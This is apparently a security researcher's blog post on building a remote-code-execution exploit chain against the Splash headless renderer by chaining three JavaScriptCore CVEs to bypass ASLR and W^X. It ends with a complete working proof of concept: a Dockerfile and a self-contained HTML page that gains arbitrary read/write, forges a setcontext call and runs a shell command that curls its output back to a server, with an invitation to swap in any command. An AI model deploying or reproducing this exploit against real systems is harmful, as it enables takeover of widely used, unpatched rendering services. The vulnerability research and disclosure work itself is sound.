splash

My previous post covered the development of an RCE exploit for PhantomJS using CVE-2014-1303, a heap overflow affecting its WebKit engine. Headless rendering services process attacker-controlled HTML and JavaScript using an embedded browser engine, which makes memory-corruption vulnerabilities in the renderer an interesting attack surface.

In this post I'll apply the same approach to Splash, which uses a newer version of WebKit and includes additional exploit mitigations. The final exploit is contained entirely within a single HTML file and works against a default Splash installation with ASLR enabled, without requiring a staging server or helper process. Unlike the PhantomJS exploit, this requires chaining three separate JavaScriptCore vulnerabilities to achieve code execution. As with the previous post, I worked through the exploit development process with Claude Opus.

The target

Splash is a scriptable headless-rendering service: hand it a URL or HTML and it returns HTML, a PNG, or a HAR. It's the standard JavaScript-rendering component for Scrapy, the most popular Python scraping framework (~63,000 GitHub stars), which reaches it through the scrapy-splash plugin (~3,200 stars). Splash ships as the scrapinghub/splash Docker image, which has been pulled nearly 80 million times (79.6M; ~4,200 GitHub stars). Development has effectively stopped; the last commit is from mid-2024. (Figures as of July 2026.)

The Splash web UI on port 8050: a render form and a Lua script editor calling splash:go, splash:html, splash:png, and splash:har
The stock Splash UI on port 8050. "Execute custom JavaScript in page context" is the attack surface: whatever page you hand it is rendered by the embedded QtWebKit engine.

Splash renders with QtWebKit 5.212.0 (the annulen/webkit fork), which identifies as WebKit 602.1, Safari 10.0, September 2016. It is three years newer than PhantomJS's engine and just as unmaintained.

Compared to the version of WebKit used by PhantomJS, WebKit 602 introduces two important differences for exploitation:

  • JavaScriptCore has the full modern JIT. Hot JavaScript is recompiled to native code through progressively more aggressive optimizing tiers (the DFG, then FTL, which is built on the B3 backend). This provides additional attack surface, but the newer JIT also includes exploit mitigations that were not present in the PhantomJS target.
  • The JIT pages are W^X.

Before getting into the individual vulnerabilities, there are a few primitives and mitigations that are relevant to the exploit:

  • Arbitrary read/write: reading or writing any byte of the render process's memory from JavaScript. Most of the exploit exists to reach this.
  • fakeobj and addrof: fakeobj fabricates a JavaScript object at an address you choose; addrof leaks the address of a real object back as a number. They are the two halves of turning a type-confusion bug into read/write.
  • ASLR (address space layout randomization): the OS loads the binary, its libraries, the heap, and the stack at a random base address on every run, so no absolute address is known ahead of time. Defeating it means leaking a real address at runtime.
  • W^X (write-xor-execute): a memory page is either writable or executable, never both, so you cannot write machine code into memory and jump to it. Defeating it means reusing code that is already marked executable.

The chain

The exploit uses three JavaScriptCore vulnerabilities, with each one providing a different primitive:

Bug Primitive Role in the chain
CVE-2017-7005 fakeobj Construct an object at a chosen address → arbitrary read/write. Structurally gives no addrof.
CVE-2017-2547 numeric OOB read Supplies the addrof/leak that 7005 lacks: a real pointer, in JavaScript, as a number.
CVE-2018-4416 heap-pointer leak Leaks a controlled buffer's address; only usable once 2547's addrof turns it into a number.
info leaks CVE-2017-2547 addrof (OOB read) CVE-2018-4416 spray-base leak CVE-2017-7005 fakeobj (no addrof) arbitrary read/write execve data-only, W^X addrof spray base libc leak, setcontext
The whole chain end to end: the two leak bugs (2547 and 4416) supply the addresses the fakeobj (7005) needs, together giving arbitrary read/write, which the libc leak and setcontext forge turn into code execution under W^X.

Two additional components are required to complete the exploit. The first is a libc address leak derived from libQt5WebKit's GOT (Global Offset Table), which contains the resolved addresses of external functions imported by the library. The second is a data-only setcontext payload that provides code execution under W^X without writing to executable memory. The following sections walk through the chain in roughly the order it was developed, beginning with CVE-2017-7005 and the arbitrary read/write primitive before moving on to the address leaks.

Bug selection

WebKit 602 has a number of publicly documented JavaScriptCore vulnerabilities and exploits, so I started by testing existing vulnerabilities against the Splash build. It is important to test these against the actual QtWebKit build rather than assuming vulnerabilities from the corresponding upstream WebKit version are present. Several of the initial candidates were already patched:

  • CVE-2016-4622 (saelo's Phrack Array.prototype.slice OOB, the canonical JSC exploit): patched. addrof({}) returns NaN.
  • qwertyoruiopz's peek_stack (uninitialized arguments.length via apply): patched. arguments[0xFF00] returns undefined.
  • Array-runtime OOB bugs (concat/slice/splice overflows): patched. The fork source carries the Checked<> overflow guards and the "having a bad time" hardening.

The bug: CVE-2017-7005

CVE-2017-7005 is lokihardt's Project Zero issue #1208: a type confusion via JSGlobalObject::haveABadTime(), fixed in Safari 10.1.1 (May 2017), after the 602.1 branch point, and not backported.

Defining an indexed getter on one realm's Array.prototype (a realm is an isolated JavaScript global environment, such as a separate iframe's) puts that realm's global object into the "has a bad time" state, converting its arrays to ArrayWithSlowPutArrayStorage. Calling that realm's Array.prototype.slice on a normal ArrayWithDouble from another realm reaches JSArray::fastSlice, where the memcpy fast path is selected from the source array (doubles) while the result array's structure comes from the bad-time realm (values read as JSValues). Raw double bits are copied into an array that interprets them as object pointers.

This gives a fakeobj primitive: a controlled double becomes a JSObject pointer:

function fakeobj(addr) {
var lo = addr % 0x100000000, hi = (addr - lo) / 0x100000000;
var a = [0, 4.243991582e-314, u2d(lo, hi), 3.5e-323, 3.5e-323];
var f = document.body.appendChild(document.createElement("iframe"));
f.contentWindow.Array.prototype.__defineGetter__(100, function () { return 1; });
var sub = f.contentWindow.Array.prototype.slice.call(a, 0, 4);
f.remove();
return sub[0]; // a JS object whose address is `addr`
}

Reviewing the fastSlice implementation confirmed that this bug provides fakeobj, but not addrof. The result array is always converted to SlowPutArrayStorage, which allows the double-to-object conversion but not the reverse object-to-double conversion. As a result, a separate information leak is still required to obtain an initial address. This differs from CVE-2016-4622, which preserves the indexing type and can provide addrof directly.

fakeobj to arbitrary read/write

Once fakeobj and one valid address are available, I used the container technique described in saelo's JavaScriptCore exploitation research to construct an arbitrary read/write primitive. A large Float64Array provides a backing store whose contents can be controlled directly, and a Uint32Array header can then be forged inside that memory:

var big = new Float64Array(0x2000000);      // 256 MB, big[i] read/writes spray byte i*8
// lay a JSCell header + m_vector + length at big[H..], then:
big[H] = u2d(sid, 0x01182600); // structureID | type=0x26 | flags=0x18 | cell=1
var fake = fakeobj(base + H*8); // fake Uint32Array over the spray

The main build-specific values are the JSCell header (type=0x26, flags=0x18 for a Uint32Array in this build) and the live structureID. By changing the fake array's m_vector, the array can be pointed at an arbitrary address and used for reads or writes through fake[i]. The vector has to be restored before additional allocations are performed because a garbage collection while it points outside a valid buffer will crash the process.

Float64Array spray (256 MB, controlled) fake Uint32Array +0x00structureID | 0x01182600 +0x08m_vector +0x10length TARGET any address
A Uint32Array header is forged inside the fully controlled spray; fakeobj aims a fake cell at it, and rewriting the fake array's m_vector gives read/write of any address, restored before each allocation so the GC never scans it off a real buffer.

Pointing the fake array at libc and reading the ELF magic confirms the primitive:

ARB-READ lib w0=0x464c457f w1=0x00010102   (\x7fELF, 64-bit, LE)

At this point I had arbitrary read/write within the render process. In the PhantomJS exploit this was enough to move directly to code execution, but the WebKit 602 build used by Splash enforces W^X, so the same payload technique cannot be reused.

W^X

I first attempted to reuse the JIT-based technique from the PhantomJS exploit: locate a JIT-compiled function, overwrite its executable page with shellcode, and then invoke the function. The JIT pages could be read successfully, including the compiled function prologue, but attempts to write to them caused a fault.

WebKit 602 protects its JIT pages using Memory Protection Keys (MPK/PKRU). Although the pages appear as rwxp in /proc/maps, writes are disabled outside the JIT compiler and are only enabled while the engine is emitting code. A write through the fake array therefore faults. Splash also blocks the file:// XHR technique I used with PhantomJS to read /proc/self/maps.

A data-only payload via setcontext

One common approach to code execution under W^X is return-oriented programming (ROP), which reuses existing executable code rather than injecting new instructions. For this exploit I found that glibc's setcontext provided a simpler way to restore the required register state. On x86-64, rip contains the next instruction address, rsp is the stack pointer, and rdi, rsi, and rdx contain the first three function arguments. The register-restore portion of setcontext provides the following sequence:

mov rsp,[rdi+0xa0]   mov rbp,[rdi+0x78]   mov r12,[rdi+0x48] ...
mov rcx,[rdi+0xa8] ; push rcx ; (this is rip)
mov rsi,[rdi+0x70] mov rdx,[rdi+0x88] mov rdi,[rdi+0x68]
xor eax,eax ; ret ; ret -> the pushed rip

setcontext restores rsp, rip, rdi, rsi, and rdx from a ucontext structure referenced by rdi. If I can invoke this sequence with rdi pointing to controlled memory, I can construct a fake ucontext containing the register state for execve("/bin/sh", argv, envp). This avoids the need to build a conventional multi-gadget ROP chain.

Forging methodTable through GC

The garbage collector calls a function pointer with rdi set to the cell being marked. During marking, JSC dispatches on each cell via cell->methodTable()->visitChildren(cell, ...), a virtual call with rdi = cell, and methodTable() is derived from the cell's MarkedBlock header:

block = cell & ~0x3fff
table = [[[block+0xe8]+0x4630]+0xc0]
structure = table[cell->structureID]
methodTable = structure->classInfo + 0x18

Because the fake object is located inside the controlled 256 MB spray, block = fakeobj & ~0x3fff also resolves to memory I control. This makes it possible to forge the objects used by the lookup path: a fake VM, StructureIDTable, Structure, ClassInfo, and MethodTable. I populate the MethodTable entries with the setcontext address so that when the garbage collector marks the fake object, the virtual call reaches setcontext with rdi pointing to the fake cell. The fake cell also contains the ucontext state required to invoke execve.

fake cell = ucontext MarkedBlock → VM [block+0xe8] → fake VM VM self-ref @ +0x4630 fake table [VM+0xc0] → table Structure → ClassInfo MethodTable = setcontext GC mark → setcontext(rdi = cell) → execve
Both GC dereference paths (methodTable() and speculationFromCell()) are made to land on the same forged table by making the fake VM self-referential at +0x4630. The marking virtual call then runs setcontext(rdi = cell), with the cell doubling as the fake ucontext.

Two intermediate failures

Code-pointer hijack. My first attempt was to overwrite the JIT code pointer for a JavaScript function. I located candidate pointer slots by scanning the heap for the function's entry address, but the scan also matched unrelated copies of the same address inside Structure objects. Overwriting these values corrupted the associated structures and caused a crash in methodTable instead of redirecting execution.

A second dereference path. After the methodTable forge was working, garbage collection still crashed in JSC::speculationFromCell. This is a separate value-profile marking path that also dereferences the fake object. It obtains the table through [[block+0xe8]+0xc0], without the +0x4630 dereference used by methodTable. I resolved this by making the fake VM self-referential:

w(AH+0xe8, fakeVM);
w(fakeVM+0x4630, fakeVM); // methodTable: [VM+0x4630] -> VM -> [VM+0xc0]
w(fakeVM+0xc0, fakeTable); // speculationFromCell: [VM+0xc0] -> table

With this layout both dereference paths resolve to the same fake table. I also populated the additional fields inspected by speculationFromCell, including the relevant flag byte and the ClassInfo parent-chain terminator.

Execution

To complete the execution path, I placed the fake ucontext at the fake object's address with rdi=/bin/sh, rsi=argv, rdx=envp, rsp=scratch, and rip=execve. After forging the remaining object chain, allocating roughly 25 MB is enough to trigger garbage collection and reach the forged MethodTable:

*** ARBITRARY R/W ESTABLISHED ***
forge complete; triggering GC -> methodTable -> setcontext -> execve
PWNED marker present: YES
id output:
uid=999(splash) gid=999(splash) groups=999(splash)

Extending the chain: in-page leaks

At this point the exploit was functional, but it was not yet self-contained. The memory-corruption primitives (fakeobj, the fake-array read/write, and the setcontext forge) were implemented entirely in JavaScript, but three values were still being supplied externally during development: the spray base address, the live Uint32Array structureID, and the libc base address. I obtained these values from a /proc/<pid>/mem harness by locating recognizable markers placed in memory by the page.

The main issue was JavaScriptCore's value representation. JavaScript values, including numbers and object references, are stored in 64-bit slots using NaN-boxing. A raw pointer exposed through CVE-2017-7005 is therefore interpreted as an object reference rather than a JavaScript number, and attempting to use that value causes the engine to dereference the address. To point the fake array at useful memory under ASLR, I needed a separate primitive that could expose a real process address as a numeric JavaScript value.

Finding a numeric leak

I tested several vulnerabilities that could potentially provide the required numeric address leak. Most were either patched or not applicable to this version of JavaScriptCore:

  • Proxy does not exist in this build, which rules out the Proxy-trap type confusions (CVE-2018-4233 and related) regardless of PoC quality.
  • The 2018–2019 JSC bugs do not reproduce. I initially checked the fork's ChangeLog to determine whether fixes for these vulnerabilities had been backported. This turned out to be the wrong way to evaluate vulnerabilities against an older fork. Some vulnerabilities reported in 2018–2019 depend on code introduced after QtWebKit's mid-2016 branch point, meaning the vulnerable code was never present in this build. Testing CVE-2019-8518, an FTL abstract-interpreter bug, confirmed this. For an older fork, the relevant question is whether the vulnerable code existed at the branch point rather than whether a later patch is present.
  • The array-runtime OOB bugs are patched, as established during bug selection.

CVE-2017-2547 was the first vulnerability I found that provided the required primitive. CVE-2017-2547 is lokihardt's Pwn2Own 2017 bug in DFGIntegerCheckCombiningPhase. When the FTL JIT combines several array bounds checks that share a length, it emits only the upper-bound check for constant indices and drops the lower bound. A negative constant index therefore passes the check and reads before the array. An ArrayWithDouble element read returns the raw eight bytes as an IEEE-754 double with no NaN re-tagging, so a pointer read this way arrives as a number.

Two conditions are required to trigger it: the index must be a constant literal, so the phase folds it, and the function must reach the FTL tier. A plain call loop stays in DFG, which bounds-checks negative indices correctly. A hot loop inside the function forces OSR entry into FTL. Reading oob[-2], the array's first out-of-line property slot (set to the target object), then returns that object's address as a number, giving addrof.

Deriving the three constants

With a working addrof primitive, the remaining values can be derived at runtime. The spray base requires one additional vulnerability that was not backported to this QtWebKit build:

  • Spray base. CVE-2018-4416, a sibling of CVE-2017-7005, leaks a Uint32Array's backing-store pointer as an un-inspectable object. Taking addrof of that object yields a number, so addrof(leak(ctl)) gives the numeric address of a buffer controlled byte-for-byte: the spray base, with no /proc.
  • structureID. This value is not randomized; it is deterministic for a given page and can be hard-coded like any other offset. It was confirmed by reading a real Uint32Array's header back through the R/W primitive: 0x61.
  • libc. With arbitrary read, addrof(Math.sin) → +0x18 (its NativeExecutable) → +0x38 (a shared vtable pointer into libQt5WebKit) → minus a fixed offset gives the library base. libc's base is then read from libQt5WebKit's GOT entry for malloc (resolved at load time, always mapped) minus malloc's offset in libc, which is load-order independent, so stable across environments.

At this point every value previously supplied by the /proc harness can be derived from JavaScript. The setcontext forge itself does not change; it simply uses the addresses obtained from the in-page leaks. Running the exploit against a stock Splash container with ASLR enabled produces the following output without any externally supplied addresses:

SPRAYBASE=0x70aec6400000            ← leaked in-page
R/W established
libwk=0x70affd62e000 libc=0x70b00c750000 ← leaked in-page
forge complete; triggering GC
PWNED_PORTABLE marker: PRESENT
id output: uid=999(splash) gid=999(splash) groups=999(splash)

I verified the same exploit file without modification on two independent deployments: a native x86_64 host and an emulated Docker environment with a different library layout. The libc base, which is the primary environment-dependent value used by the final stage, is derived at runtime.

During development I used a debugger to inspect process memory, disassemble methodTable and setcontext, and examine register state at the redirected call.

PoC

The proof of concept consists of two files. The Dockerfile starts Splash, serves the exploit page, and requests the page through Splash's renderer. The exploit sends the output of id back to the built-in HTTP server, where it appears in the container output as a GET /uid=... request. Exploitation is not completely deterministic because it depends on garbage-collection timing and StructureID reuse, so more than one run may be required.

docker build --platform linux/amd64 -t splash-rce .
docker run --rm --platform linux/amd64 splash-rce
# ... "GET /uid=999(splash) HTTP/1.1" 404 -
Dockerfile download
# Vulnerable target: scrapinghub/splash (QtWebKit 5.212 / WebKit 602.1).
# docker build --platform linux/amd64 -t splash-rce .
# docker run --rm --platform linux/amd64 splash-rce
# Serves the PoC and renders it; the exploit curls `id` back to the server, so it shows up
# in this container's output as a "GET /uid=999(splash)..." line. It is non-deterministic and may take a few runs.
FROM --platform=linux/amd64 scrapinghub/splash
COPY splash-exploit.html /srv/splash-exploit.html
ENTRYPOINT ["sh","-c","cd /srv && python3 -u -m http.server 8001 --bind 127.0.0.1 & python3 /app/bin/splash >/dev/null 2>&1 & until curl -sf http://127.0.0.1:8050/_ping >/dev/null 2>&1; do sleep 1; done; curl -s 'http://127.0.0.1:8050/render.html?url=http://127.0.0.1:8001/splash-exploit.html&wait=50&timeout=70' >/dev/null; sleep 3"]
splash-exploit.html download
<html><body><script>
// Self-contained RCE for Splash / QtWebKit 5.212 (WebKit 602.1). No network, no /proc.
// addrof = CVE-2017-2547 | fakeobj = CVE-2017-7005 | m_vector leak = CVE-2018-4416.
// Runs as execve("/bin/sh","-c", CMD). Output is curled back to the server that
// served this page (see its access log); edit the `id` to run something else.
var CMD = "curl -s http://" + location.host + "/$(id)";

var _bb=new ArrayBuffer(8),_f=new Float64Array(_bb),_u=new Uint32Array(_bb);
function u2d(lo,hi){_u[0]=lo>>>0;_u[1]=hi>>>0;return _f[0];}
function d2u(d){_f[0]=d;return [_u[0]>>>0,_u[1]>>>0];}
function lo32(a){return (a%0x100000000)>>>0;}
function hi32(a){return Math.floor(a/0x100000000)>>>0;}
function ptrish(v){ if(typeof v!=='number'||v!==v||v===(v|0))return false; var p=d2u(v);
return (p[1]>=0x0001 && p[1]<=0x7fff && p[0]!==0); }
function gc(){ for(var i=0;i<6;i++){ var ab=new ArrayBuffer(1024*1024*10); ab=null; } }
var SID=0x61; // Uint32Array structureID: deterministic per page, not ASLR'd

// ---- addrof (CVE-2017-2547): oob.pa=x, OOB-read a[-2] = &x as a number ----
var dummy={d:1};
var oob=[1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8];
oob.pa=dummy; oob.pb=dummy; oob.pc=dummy; oob.pd=dummy;
var g=new Float64Array(16);
function trig(a){ var acc=0.0; for(var j=0;j<30000;j++){ acc+=a[j&7]; } // hot loop -> OSR into FTL
var hi=a[7]; g[0]=a[-1];g[1]=a[-2];g[2]=a[-3];g[3]=a[-4];g[4]=a[-5];g[5]=a[-6];g[6]=a[-7];g[7]=a[-8];
g[8]=a[-9];g[9]=a[-10];g[10]=a[-11];g[11]=a[-12];g[12]=a[-13];g[13]=a[-14];g[14]=a[-15];g[15]=a[-16];
return acc+hi; }
function warm(n){ for(var w=0;w<n;w++){ trig(oob); } }
(function(){ var vs=[1,2.5,-3,1e100,{},[],"s",null,true,0x1234,3.14,{q:1}]; // poison inferred type -> Top
for(var i=0;i<vs.length;i++){ oob.pa=vs[i]; } oob.pa=dummy; })();
function addrof(x){ oob.pa=x; trig(oob); var v=g[1]; oob.pa=dummy; return v; }
function addrN(x){ var d=addrof(x); return d2u(d)[1]*0x100000000+d2u(d)[0]; }
warm(400);

// ---- fakeobj (CVE-2017-7005) ----
function fakeobj(addr){ var a=[0,4.243991582e-314,u2d(lo32(addr),hi32(addr)),3.5e-323,3.5e-323];
var f=document.body.appendChild(document.createElement('iframe'));
f.contentWindow.Array.prototype.__defineGetter__(100,function(){return 1;});
var sub=f.contentWindow.Array.prototype.slice.call(a,0,4); f.remove(); return sub[0]; }

// ---- m_vector leak (CVE-2018-4416) ----
function opt(obj){ for(var i=0;i<500;i++){} var tmp={a:1}; gc(); tmp.__proto__={};
for(var k in tmp){ tmp.__proto__={}; gc(); obj.__proto__={}; return obj[k]; } }
opt({});

// ---- SPRAYBASE: leak a controlled buffer's data address as a number ----
var ctl=null, CTLBASE=0;
for(var t=0;t<8 && !ctl;t++){ var mem=new Uint32Array(0x400000); var r=opt(mem); warm(150);
var ba=addrof(r); if(ptrish(ba)){ ctl=mem; CTLBASE=d2u(ba)[1]*0x100000000+d2u(ba)[0]; } }

if(ctl){
// ---- forge fake Uint32Array over ctl -> arbitrary R/W ----
var V=CTLBASE+0x100000;
ctl[2]=0;ctl[3]=0; ctl[4]=lo32(V);ctl[5]=hi32(V); ctl[6]=0x10000;ctl[7]=1; ctl[0]=SID; ctl[1]=0x01182600;
var fake=fakeobj(CTLBASE);
function setV(a,len){ ctl[4]=lo32(a); ctl[5]=hi32(a); ctl[6]=(len||0x1000)>>>0; ctl[7]=1; }
function safeV(){ ctl[4]=lo32(V); ctl[5]=hi32(V); ctl[6]=0x10000; ctl[7]=1; }
function rd64(a){ setV(a,0x100); var lo=fake[0]>>>0,hi=fake[1]>>>0; safeV(); return hi*0x100000000+lo; }
function rd32(a){ setV(a,0x100); var v=fake[0]>>>0; safeV(); return v; }

if(fake instanceof Uint32Array){
// ---- leak libc (universal, load-order independent) ----
// libwk base : JSFunction -> +0x18 NativeExecutable -> +0x38 vtable -> -0xa5a490
// libc base : read libwk's malloc GOT slot (resolved to libc) - malloc's libc offset
var libwk=rd64(rd64(addrN(Math.sin)+0x18)+0x38)-0xa5a490;
var libc=rd64(libwk+0x2db6a30)-0x970e0;
// ---- setcontext forge -> GC -> execve("/bin/sh","-c",CMD) ----
if(rd32(libc)===0x464c457f) // sanity: libc base starts with \x7fELF
(function pwn(cmd){
var SETCTX=libc+0x52145, EXECVE=libc+0xe4e90;
function w(off,val){ ctl[off>>2]=lo32(val); ctl[(off>>2)+1]=hi32(val); }
function wstr(off,s){ var b=[]; for(var i=0;i<s.length;i++)b.push(s.charCodeAt(i)&0xff); b.push(0);
while(b.length%8)b.push(0);
for(var i=0;i<b.length;i+=8){ ctl[(off+i)>>2]=(b[i]|(b[i+1]<<8)|(b[i+2]<<16)|(b[i+3]<<24))>>>0;
ctl[(off+i+4)>>2]=(b[i+4]|(b[i+5]<<8)|(b[i+6]<<16)|(b[i+7]<<24))>>>0; } }
function A(off){ return CTLBASE+off; }
var O_VM=0x900000,O_TABLE=0x920000,O_STRUCT=0x930000,O_CI=0x940000;
var O_BINSH=0x950000,O_DASHC=0x950010,O_CMD=0x950020,O_ARGV=0x950200,O_ENVP=0x950300,O_PATH=0x950380,O_STACK=0x970000;
w(0xe8,A(O_VM)); w(O_VM+0x4630,A(O_VM)); w(O_VM+0xc0,A(O_TABLE)); w(0xb0,0);
w(O_TABLE+0,0); w(O_TABLE+0x61*8,A(O_STRUCT)); w(O_STRUCT+0,0); w(O_STRUCT+8,0);
w(O_STRUCT+0x40,A(O_CI)); w(O_CI+0x8,0);
for(var k=0;k<0x40;k++) w(O_CI+0x18+k*8,SETCTX);
wstr(O_BINSH,"/bin/sh"); wstr(O_DASHC,"-c"); wstr(O_CMD,cmd);
wstr(O_PATH,"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
w(O_ARGV+0,A(O_BINSH)); w(O_ARGV+8,A(O_DASHC)); w(O_ARGV+16,A(O_CMD)); w(O_ARGV+24,0);
w(O_ENVP+0,A(O_PATH)); w(O_ENVP+8,0);
w(0x28,0);w(0x30,0);w(0x48,0);w(0x50,0);w(0x58,0);w(0x60,0);w(0x78,0);w(0x80,0);w(0x98,0);
w(0x68,A(O_BINSH)); w(0x70,A(O_ARGV)); w(0x88,A(O_ENVP)); w(0xa0,A(O_STACK)); w(0xa8,EXECVE);
var junk=[]; for(var i=0;i<400;i++){ junk.push(new Uint8Array(0x10000)); } // GC -> setcontext -> execve
})(CMD);
}
}
</script></body></html>

Conclusion

This research demonstrates the same underlying risk as the PhantomJS exploit: a service that renders attacker-controlled HTML using an outdated browser engine can expose the renderer to memory-corruption vulnerabilities that lead to code execution.

The Splash target requires a more involved exploit chain than PhantomJS. The PhantomJS exploit relied on a single heap overflow and an executable JIT page that could be modified directly. In this version of WebKit, ASLR and W^X prevent that approach. The final exploit therefore combines three JavaScriptCore vulnerabilities to obtain the required address leaks and arbitrary read/write primitive, then uses a data-only setcontext payload to reach execve without writing to executable memory.

The result is a self-contained HTML payload that derives the required addresses at runtime and achieves code execution against the default Splash renderer under ASLR and W^X.

  1. Attacking JavaScript Engines saelo, Phrack 70. The reference writeup on JavaScriptCore exploitation and the addrof/fakeobj primitives.
  2. Project Zero issue 1208 (CVE-2017-7005) lokihardt. The haveABadTime() type confusion used here as a leak primitive.
  3. js-vuln-db tunz. A collection of JavaScriptCore CVE writeups and PoCs, including the bugs tested in this post.
  4. Splash documentation The scriptable headless browser this exploit targets.
  5. QtWebKit The fork (WebKit 602) that Splash renders with.